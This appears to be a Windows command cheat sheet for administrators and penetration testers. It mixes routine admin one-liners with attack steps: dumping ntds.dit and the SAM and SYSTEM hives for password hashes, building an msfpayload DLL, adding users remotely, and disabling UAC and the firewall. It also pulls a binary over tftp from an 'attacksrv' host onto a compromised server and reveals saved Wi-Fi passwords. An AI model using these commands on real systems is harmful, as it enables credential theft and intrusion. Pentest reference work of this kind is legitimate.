C:\> wevtutil qe Security /c:10 /f:Text
def is XML
msfpayload windows/exec cmd=calc.exe R | msfencode -t dll -o rcalc.dll
C:\> rundll32.exe rcalc.dll,1
You will be prompted for password
C:\> runas /noprofile /user:domain\username "mmc wf.msc"
Get-EventLog -log system -n 1000 | Where {$_.eventid -eq '1074'} | fl -pr *
C:\> ntdsutil sn "ac i ntds" create quit quit
Copy ntds.dit from snapshot & System hive from reg for pwd hashes
C:\> ntdsutil snapshot "list all" "mount 1" quit quit
C:\> wmic /node:ip process call create "net user dum dum /add"
C:\> reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers" /s
C:\> query process *
netsh int ip reset c:\tcpresetlog.txt
Very useful during a pentest to look for domain admins
C:\> net session | find "\\"
C:\> wmic /node:remotebox nicconfig where Index=1 call EnableStatic ("192.168.1.4"), ("255.255.255.0")
PS C:\> powershell -ExecutionPolicy Bypass -Noninteractive -File .\lastboot.ps1
C:\> wmic /node:target process list brief /every:1
Remove /node:target
for localhost
C:\> wmic /node:target process get commandline, name
C:\> sc \\target config vss start= auto
C:\> sc \\target start vss
C:\>for /F %i in (ips.txt) do ping -n 1 %i | find "bytes="
C:\> netsh winhttp import proxy source=ie
C:\> driverquery /FO list /v
Very useful during pentests
C:\> gpresult /z /h outputfile.html
Very helpful if you have a corrupt repo
C:\> winmgmt /resetrepository
C:\> mklink <link> <target>
C:\> mklink D:\newlink.txt E:\thisexists.txt
C:\> ocsetup TFTP /quiet
Pull files to a compromised server
:
C:\> tftp -i attacksrv get bin.exe
C:\> netsh advfi fi sh rule name=all
Can be combined with wmic for remote systems
C:\> set log
C:\> nltest /dcname:DOMAIN
Get list of all DCs:
C:\> nltest /dclist:DOMAIN
C:\> netsh http sh ca
Useful when investigating the MS15-034
HTTP.sys vuln
C:\> curl -v -H "Range: bytes=234234-28768768" "http://host/a.png" -o a.png
HTTP 416 = Vulnerable
HTTP 20X = Not vulnerable
PS C:\> [System.IO.Directory ]::GetFiles("\\.\\pipe\\")
C:\> vboxmanage list -l vms > a.txt
Search 'Storage' & 'Floppy'
PS C:\> qwinsta /server: | foreach {($_.trim() -replace "\s+",",")} | ConvertFrom-Csv
C:\> wmic /node:@file /output:out.txt qfe list full
C:\> netsh wlan export profile
key=clear
allows plain text passwords
PS C:\> Add-Type -A System.IO.Compression.FileSystem;[IO.Compression.ZipFile]::ExtractToDirectory(src,dst)
control.exe /name Microsoft.NetworkandSharingCenter
Create a shortcut of this as ns
in PATH
for ease
C:\> wmic /node:@ips.txt /user:u /password:p process call create "net <start> msftpsvc"
C:\> forfiles /s /c "cmd /c if @fsize gtr 100000 echo @path @fsize bytes"
Run from the dir you want
for /f "delims=" %i in ('reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"') do reg query "%i"
C:\> schtasks /query /fo LIST /v
Weak permissions can be exploited for localprivilege escalation
C:\> rundll32 keymgr.dll,KRShowKeyMgr
PS C:\> gwmi -n root -cl __Namespace | Select name
PS C:\> gwmi -n root\cimv2 -li
C:\> vboxmanage clonehd myvdi.vdi myvmdk.vmdk --format VMDK
csv to xls example
C:\Projects> forfiles /S /M *.csv /C "cmd /c ren @file @fname.xls"
for /F %i in ('VBoxManage list runningvms') do VBoxManage guestproperty enumerate %i | find "IP"
C:\> pnputil -e
C:\> pnputil -i -a path_to_inf
https://msdn.microsoft.com/en-us/library/mt588480(v=vs.85).aspx
Open cmd.exe in admin mode
netsh wlan show drivers
#if Hosted Network supported: Yes
netsh wlan set hostednetwork mode=allow ssid=$ESSID key=$password
netsh wlan start hostednetwork
#to stop
netsh wlan stop hostednetwork
#to check the status of the WiFi hotspot
netsh wlan show hostednetwork
C:\> reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v EnableLUA /t REG_DWORD /d 0 /f
Useful if you have a bind shell
C:\> netsh advfirewall set allprofiles state off
PS C:\> (New-Object -c Microsoft.Update.Session).CreateUpdateSearcher().Search("IsInstalled=0").Updates|Select Title
C:\>reg save HKLM\SAM SAM
C:\>reg save HKLM\SYSTEM SYSTEM
PS C:\> [Convert]::ToBase64String((gc -Pa "a.exe" -En By))
PS C:\> sc -Path "a.exe" -Val ([Convert]::FromBase64String((gc -Pa "b64.txt" ))) -En By
wmic service where StartName="LocalSystem"|findstr /IV ":\WIN :\PROG"
manage-bde -status -cn <box>
Use wmic /node:@ips.txt
& process
alias for multiple.
PS C:\> Get-EventLog -Log Security | ?{$_.EntryType -eq 'FailureAudit'} | epcsv log.csv
- List all ADS for all files in current dir
PS C:\> gi * -s *
- Read ADS
PS C:\> gc <file> -s <ADSName>
- Create ADS using text input
PS C:\> sc <file> -s <ADSName>
- Delete ADS
PS C:\> ri <file> -s <ADSName>
C:\> winsat cpuformal -v
C:\> winsat memformal -v
C:\> winsat diskformal -v
C:\> netsh int p add v4tov4 <LPORT> <RHOST> [RPORT] [LHOST]
Step 1. Get Index of Network Adapter:
C:\> wmic nicconfig get caption,index
Step 2. Use the index
C:\> wmic nicconfig where index=1 call SetTcpipNetbios 1
0-Def
1-En
2-Dis
C:\> for /F %i in ('dir /b /s *.vdi ^| find ".vdi"') do vboxmanage modifyhd --compact %i
C:\>"%ProgramFiles%\Windows Defender\MpCmdRun.exe" -scan -scantype 2
Use #wmic /node:@ips process for multiple.
PS C:\> ([char[]](38..126)|sort{Get-Random})[0..32] -join ''
echo %cd%
- Same as pwd in Linux
where $filename
where /R C:\ ping.exe 2>null
Get-Childitem -Path C: -Recurse -ErrorAction SilentlyContinue | ? {$_.Name = $filename}
- you can use wildcards here for name and for extension (e.g.
pass*
could match password)
[System.Net.Dns]::GetHostByAddress('$IP').HostName
while (1) { $command_to_watch ; sleep 5}
First, you have to know the SSID of the access point (AP) to get the password from
netsh wlan show profiles
Next, get the cleartext password:
netsh wlan show profile $SSID key=clear
#!/bin/bash
##Author : Paranoid Ninja
##Email : paranoidninja@protonmail.com
#GitHub : https://github.com/paranoidninja/alpha-stage-scripts/blob/master/dns_lookup_ad.sh
##Descr : A Script to gather hostnames of machines within a domain
i="0"
while [ $i -lt "255" ]
do nslookup 10.11.1.$i 10.11.1.220 | grep -v "NXDOMAIN" | grep name | cut -f1,3 -d" "
i=$[ $i+1 ]
done
winpeas.exe cmd searchall searchfast #cmd commands, search all filenames and avoid sleeping (noisy - CTFs)
winpeas.exe #Will execute all checks except the ones that use a CMD
winpeas.exe cmd #All checks
winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed
winpeas.exe notcolor #Do not color the output
winpeas.exe cmd wait #cmd commands and wait between tests
In Linux the ouput will be colored using ANSI colors. If you are executing winpeas.exe from a Windows console, you need to set a registry value to see the colors (and open a new CMD): REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
- https://docs.microsoft.com/en-us/sysinternals/
- https://docs.microsoft.com/en-us/powershell/
- https://github.com/madhuakula/wincmdfu
- https://sysnetdevops.com/2017/04/24/exploring-the-powershell-alternative-to-netstat/
- https://techexpert.tips/powershell/powershell-list-open-udp-ports/
- https://www.lepide.com/how-to/list-all-user-accounts-on-a-windows-system-using-powershell.html
- http://www.fuzzysecurity.com/tutorials/16.html
- https://techgenix.com/how-to-uninstall-software-using-powershell/
If you like this content and would like to see more, please consider buying me a coffee!